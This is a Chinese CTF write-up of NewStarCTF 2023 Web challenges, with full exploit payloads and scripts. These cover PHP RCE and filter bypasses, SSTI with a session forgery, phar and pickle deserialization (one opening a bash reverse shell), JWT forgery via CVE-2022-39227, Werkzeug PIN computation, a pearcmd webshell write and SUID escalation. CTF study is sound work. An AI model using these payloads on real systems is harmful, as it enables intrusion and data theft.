最近做了一下NewStartCTF2023的Web,所以写下这篇文章来记录一下之前没有遇到过的题型,或者值得学习的wp,也是拓展一下自己的视野
Week2 R!!C!!E!!
无参数的REC,第一次遇见
前面的.git泄露就不多说了,直接看重点
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
我们可以看到这样一个正则匹配(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))
这其实是循环匹配的意思,他会已知匹配()
里面的内容直到最后剩下分号,如果成立则执行命令
首先我们要了解一个函数getallheaders()
,他会返回HTTP请求头的所有信息,配合print_r
可以输出返回值
这里介绍两种执行命令的方法,一种是eval(array_rand(array_flip(getallheaders())));
array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个,这时候我们随便修改一个HTTP请求头
因为array_rand函数的原因,要多发几次包才行
第二种方法就简单多了
eval(next(getallheaders()));
getallheaders()
函数用于从 HTTP 请求头中获取所有的头信息,然后调用 next()
函数返回数组中的下一个元素,并将其作为参数传递给 eval()
函数来执行
我们用print_r输出会发现getallheaders返回的HTTP头刚好是UA头,那么直接修改即可
Week3 R!!C!!E!!
无回显RCE,加了很多过滤
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
这里过滤了很多关键字,反弹shell是别想了,但是我们可以用盲注的方法
payload=O:7:"minipop":2:{s:4:"code";s:57:"if [ `ls / | awk NR==1 | cut -c 1` == b ];then sleep 2;fi";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:57:"if [ `ls / | awk NR==1 | cut -c 1` == b ];then sleep 2;fi";s:13:"qwejaskdjnlka";N;}}
然后利用脚本把flag跑出来
但是,这里还有更简单的方法,不需要盲注
我们知道tee可以把命令输出的结果重定向到文件里面,但是这要求我们有文件读写权限
虽然tee被过滤了,我们采用t''ee
绕过即可,.被绕过我们可以不给文件加上后缀,直接用a当文件名即可
O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";N;}}
剩下的就不多说了
Week4 flask disk
和这次的红岩杯新生赛的flask一样的考点,只是红岩杯我用的非预期,现在看来如果知道这里的知识点预期解也没那么难
flask存在这样一个漏洞,flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。
我们回到这里的题目
这里有三个路由,list查看目录下的文件,upload上传文件,admin manage让我们输入pin码,那这里肯定是开启了debug模式的,我们上传一个能getshell的app.py覆盖原有的文件,就达到了getsghell的目的
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
这个flask大多数都是考的SSTI,就算是计算pin码也会结合SSTI让我们读敏感文件,上传文件getshell还是第一次遇到,这也为我们以后遇到flask提供了一种新的思路
Week4 InjectMe
这一题思路很简单,主要就是对于SSTI绕过那里值得记录一下
进来之后查看源码发现有任意文件读取
想到要用目录穿越读一下敏感文件,但是测试了半天也没有穿越过去,我们读一下110.jpg这个图片,发现
原来我们输入的../全部被替换为了空,知道了源码就很好办了,构造一下就好了
根据题目提示我们知道源码在/app目录下
FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080
我们读取一下app.py
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)
@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8080)
源码很简单,/backdoor路由存在SSTI和session伪造,我们只要拿到secret_key就可以伪造session了,从模块引入那里我们知道secret_key就在config文件里面,我们同样读取一下就可以拿到了
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
现在就剩下SSTI了,但是发现过滤了很多关键字,而且十六进制也被ban了,这里我们的绕过方式也是采取转换进制,和十六进制的原理是一样的,但是大多数绕过都只介绍了十六进制而忽略了八进制
attr()
是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。
过滤器与变量用管道符号( |
)分割,并且也 可以用圆括号传递可选参数。
如:foo|attr("bar")
和foo["bar"]
是等价的
这里给出官方的payload
import re
import requests
import subprocess
# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# # https://github.com/noraj/flask-session-cookie-manager
def string_to_octal_ascii(s):
octal_ascii = ""
for char in s:
char_code = ord(char)
octal_ascii += "\\\\" + format(char_code, 'o')
return octal_ascii
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
eval_shell = "\"\"" + string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()") + "\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = '{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}'.format(
eval_shell)
print(payload)
command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key,
payload)
print(command)
session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)
写到这里的时候我就在思考,SSTI中是可以用全角数字代替半角数字的,那配合这里的八进制绕过,只要不过滤attr,我们是否就能通杀SSTI了呢,值得一试
Week4 PharOne
phar的反序列化,只不过有一些过滤,简单提一下吧,毕竟phar反序列化还是遇到得比较少的
出现Phar反序列的地方一般有三个要点,一是文件上传,二是能用phar伪协议,三是要有可用的魔术方法作为“跳板”,这样才能构成完整的phar反序列化攻击
这里的文件上传有两处过滤,一是关键字__HALT_COMPILER();
,二是文件后缀
怎样绕过对于关键字的过滤呢,官方给出的方法是
将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)
linux下使用命令gzip phar.phar
生成
然后重命名为jpg文件
<?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
我这里采用第二种方法绕过,将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过,最后修改文件名就可以了
至于exec无回显RCE就不多说了,这里没有任何过滤,直接写🐎或者反弹shell即可
Week5 Unserialize Again
依然是phar反序列化,只不过这一次文件上传不能用了,而且反序列化还需要绕过__wakeup,所以phar需要重新计算签名
首先查看源码,提示我们Cookie中有东西,我们发现了pairing.php文件,访问一下
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}
Getshell很简单,只需要满足两个条件即可,然后生成phar文件,用WinHex修改文件内容绕过__wakeup
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
public $user;
public $pass;
public $eating;
public $God;
}
$story = new story;
$story->user = 'admin';
$story->pass = "admin";
$story->God = "true";
$story->eating = "cat /f*";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($story);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后网上找一个计算签名的脚本,修改签名
from hashlib import sha1
file = open('hacker.phar', 'rb').read() # 需要重新生成签名的phar文件
data = file[:-28] # 获取需要签名的数据
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB
open('hacker1.phar', 'wb').write(newfile) # 写入到新的phar文件
因为这里的文件上传功能是个摆设,所以我们要想其他的办法上传phar文件,我们锁定到这里
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
很明显file_exists($Adam);
是我们用phar伪协议的地方,那么$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
就是我们写文件的地方了,这里要借助脚本来帮我们传文件,直接POST传参大概率是要出现编码问题的
import urllib.parse
import os
import re
import requests
url='http://480ec6a6-5e23-4e3b-ae7a-cf3438f52705.node4.buuoj.cn:81/'
pattern = r'flag\{.+?\}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}
with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
print(fin.text)
Week5 Ye's Pickle
题目给了我们一个附件,我们下载下来里面是源码
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)
def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)
@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
源码很简单,给了两个路由,一个是验证JWT,一个是pickle反序列化,session["role"]=="admin":
满足这里的条件之后才可以利用反序列化漏洞,所以这题的重点是在于JWT伪造
因为他的密钥是16个字符数字随机生成的,爆破是不可能了,只能另辟蹊径,这里要利用的漏洞是CVE-2022-39227-Python-JWT具体原理就不在这里解释了,我们直接看payload
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "admin"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('JWT'))
这里利用的是JSON混淆,我们把生成的Token用GET传参,就会返回admin的session,然后带着session访问pickle路由,然后利用反序列化反弹shell
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/xxxx/8888 0>&1'"
tR.
'''
print(base64.b64encode(opcode))
Week5 pppython?
第一次遇到计算pin码的题,记录一下
<?php
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}
try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}
?>
首先我们看第一部分的代码
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}
让我们传入一个数组,然后就可以执行ls -al命令,先执行一下看看有哪些文件
我们可以看到flag文件没有读取权限,所以通过SSRF读取flag行不通了,那就先看看app.py的源码
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
这里就是SSRF漏洞产生的地方,url可以传入file伪协议读取文件curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
是将从 HTTP 请求中获取的 "lolita" 参数的值作为 HTTP 请求头部信息发送。这可以用于在 HTTP 请求中添加自定义的头部,比如设置授权信息、自定义 User-Agent 等,所以payload就是
?url=file:///app.py&lolita[]=1
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files
app = Flask(__name__)
app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"
app.run('0.0.0.0', 1314, debug=True)1
分析源码我们知道flask开启了debug模式,我们可以通过计算pin码,然后利用pin码计算Cookie,最后RCE
计算pin需要下面几部分
username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id
首先是绝对路径,我们直接通过报错获得
然后是网卡MAC地址,要转为十进制的形式
?url=file:///sys/class/net/eth0/address&lolita[]=
hex_string = "6a9628e6fb5b"
decimal_number = int(hex_string, 16)
print(decimal_number)
最后的系统id包括两部分,我们先读取/etc/machine-id
(也可以是/proc/sys/kernel/random/boot_id
)
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
然后取/proc/self/cgroup
并且只读取第一行,并以从右边算起的第一个/
为分隔符
?url=file:///proc/self/cgroup&lolita[]=
然后用脚本计算Cookie和pin码
import hashlib
from itertools import chain
import time
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'117193163864923',
'8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-6b6cc10d56de73c47b066225292edb1e6ff957626119d492a77b67c485cfce6b.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
最后的payload有两种主流的写法,一种是官方的,这里的S是访问错误页面给出的SECRET
http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a
然后
lolita[]=Cookie: __wzd37df8aadeae7b425ba15=1700319279|5f06d6374375
宁一种写法是用Gopher协议打
import urllib.parse
import urllib.request
cmd = 'whoami'
s = "n7qps4MCDP7yujSRLmN6"
host = "127.0.0.1:1314"
# cookie = "__wzd37df8aadeae7b425ba15=1700317588|5f06d6374375"
pin = "387-317-262"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""
new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))
但是无语的是两种方法都复现失败了,不知道为什么
Week5 4-复盘
pear写🐎加上SUID提权
首先下载附件,审计一下源码,看到index.php页面有文件包含
<?php
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';
}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>
考虑这里存在漏洞,先试一试目录穿越,发现页面会302,但是为什么会想到pear我是有点疑惑的,这里并没有提示说开启了pear拓展,只能说是一种尝试吧
payload就不多说了
?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php
还有一点就是我在用GET写🐎的时候,蚁剑总是连不上,不知道是什么原因
连上之后发现flag是没有权限读取的,这里就要用到SUID提权,什么是SUID提权呢,SUID是一种特殊的权限,我们在运行拥有SUID权限的文件时也会获得root权限,我们就可以利用这个短暂的root权限执行命令
首先先查找拥有SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
发现gzip有SUID权限,那我们就利用它读取文件
gzip -f /flag -t